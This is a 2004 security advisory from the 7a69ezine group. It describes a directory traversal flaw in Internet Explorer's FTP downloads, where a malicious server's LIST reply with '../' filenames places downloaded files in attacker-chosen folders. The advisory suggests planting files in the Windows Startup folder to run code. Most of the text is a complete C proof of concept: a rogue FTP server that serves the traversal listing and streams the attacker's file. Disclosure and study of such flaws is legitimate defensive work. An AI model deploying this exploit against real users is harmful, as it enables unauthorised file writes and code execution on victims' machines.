7a69Adv#17 - Internet Explorer FTP download path disclosure
<NOTE FOR BUGTRAQ MODERATOR>
Excuseme if you have recibed this mail reapeated, but I had some problems on
my mail server some days ago, and I have sent this mail 3 or 4 times.
Sorry :)
Delete this note to post to the list. Thank's you.
</NOTE FOR BUGTRAQ MODERATOR>
- ------------------------------------------------------------------
7a69ezine Advisories 7a69Adv#17
- ------------------------------------------------------------------
http://www.7a69ezine.org [23/12/2004]
- ------------------------------------------------------------------
Title: Internet Explorer FTP download path disclosure
Author: Albert Puigsech Galicia - <ripe@xxxxxxxxxxxxx>
Software: Microsoft Internet Explorer
Versions: >= 6.0.3790.0
Remote: yes
Exploit: yes
Severity: Medium-High
- ------------------------------------------------------------------
I. Introduction.
Internet Explorer is a well-known HTTP browser, and like others it can use
more protocols, for example FTP. The security historial of this navigator is
really cool and we are glad for the excelent work done by Microsoft. We love
your (in)security features.
II. Description.
When you save a file from an FTP server to a local folder it is saved on
'local_folder/file_name', consequently if the name of the file contains
'../', the real destination of the file changes. Despite it is imposible to
create a file with '../' characters an FTP server can reply a LIST request
with this char on filenames, so a malicious FTP server can modify the folder
where the downloaded file will be stored.
Of the three possible ways of downloading a file only two are affected by
this bug; the left-click and save-as procedure and dragging the file. The one
that is unaffected is the double-click procedure.
III. Exploit
You can use the very-tiny and malicious FTP server attached in this mail to
check the vulnerability. It's easy to use './ftpd-iexpl localfile
remotefile', where localfile is a file on the FTP server and localfile is the
path where the will be stored on the attacked system. If you try to overwrite
a file the Internet Explorer show a confirmation message, so is better for
explotation purposes to create new files, but It's not a problem to execute
arbitrari code because you can create, for example, startup files on 'C:
\Documents and settings\All Users\Start menu\Programs\Start' that will be
executed after next user login.
However Internet Explorer shows the complete name of the file, including the
'../' characters so It's unlikely that it will not arise suspicions, but you
can put the malicious file into a FTP folder and waiting for victim dragging
the folder.
IV. Patch
Don't use Internet Explorer and turn to Firefox world.
V. Timeline
06/12/2004 - Bug discovered
23/12/2004 - Advisor released
25/12/2004 - Noel; uoh! ouh! ouh!
VI. Extra data
You can find more 7a69ezine advisories on this following link:
http://www.7a69ezine.org/avisos/propios [spanish info]
/*
* Internet Explorer FTP download path disclosure fucked prof of concept
(7a69Adv#17)
*
* ¡¡¡ DOES NOT WORK USING PASV MODE, YOU MUST CODE IT IF YOU WANT !!!
*
*/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#define MAX_BUF 1024
#define FTP_PORT 21
int main(int argc, char **argv) {
char ch;
char buffer[MAX_BUF + 1];
char ipbuf[MAX_BUF + 1];
char *local_file, *remote_file;
int sfdmain, sfdses, sfddata;
int readed;
int ip1,ip2,ip3,ip4,port1,port2;
int fd;
struct stat st;
struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY };
struct sockaddr_in ftpdata;
if (argc < 3) {
printf("\t7a69Adv#17 - Internet Explorer FTP download path
disclosure prof of concept\n");
printf("Use:\n");
printf("\t%s <local_file> <remote_file>\n", argv[0]);
exit(0);
}
local_file = argv[1];
remote_file = argv[2];
if ((fd = open(local_file, O_RDONLY)) == -1) {
perror("open()");
exit(-1);
}
if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr))
== -1) {
perror("bind()");
exit(-1);
}
if (listen(sfdmain, 1) == -1) {
perror("listen()");
exit(-1);
}
if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) {
perror("accept()");
exit(-1);
}
write(sfdses, "200 OK\r\n", 8);
while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) {
buffer[readed] = 0;
printf(">> %s", buffer);
if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8);
else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331
OK\r\n", 8);
else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230
OK\r\n", 8);
else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250
OK\r\n", 8);
else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257
\"/\"\r\n", 9);
else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200
OK\r\n", 8);
else if (!strncmp(buffer, "PORT ", 5)) {
sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2,
&ip3, &ip4, &port1, &port2);
snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3,
ip4);
ftpdata.sin_family = AF_INET;
ftpdata.sin_addr.s_addr = inet_addr(ipbuf);
ftpdata.sin_port = htons(port1*256+port2);
if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if (connect(sfddata, (struct sockaddr *)&ftpdata,
sizeof(struct sockaddr)) == -1) {
write(sfdses, "421 OK\r\n", 8);
} else {
write(sfdses, "220 OK\r\n", 8);
}
}
else if (!strncmp(buffer, "LIST", 4)) {
write(sfdses, "150 OK\r\n", 8);
snprintf(buffer, MAX_BUF, "-rwxrwxrwx 1 0 0
1 Dec 08 07:36 /../../../../../../../../../../..%s\r\n",
remote_file);
write(sfddata, buffer, strlen(buffer));
close(sfddata);
write(sfdses, "226 OK\r\n", 8);
}
else if(!strncmp(buffer, "RETR ", 5)) {
write(sfdses, "150 OK\r\n", 8);
fstat(fd, &st);
while(st.st_size-- > 0) {
read(fd, &ch, 1);
write(sfddata, &ch, 1);
}
close(sfddata);
write(sfdses, "226 OK\r\n", 8);
}
else if (!strncmp(buffer, "QUIT", 4)) {
write(sfdses, "221 OK\r\n", 8);
close(sfdses); close(sfdmain); close(sfddata);
}
else
write(sfdses, "500 WTF\r\n", 9);
}
}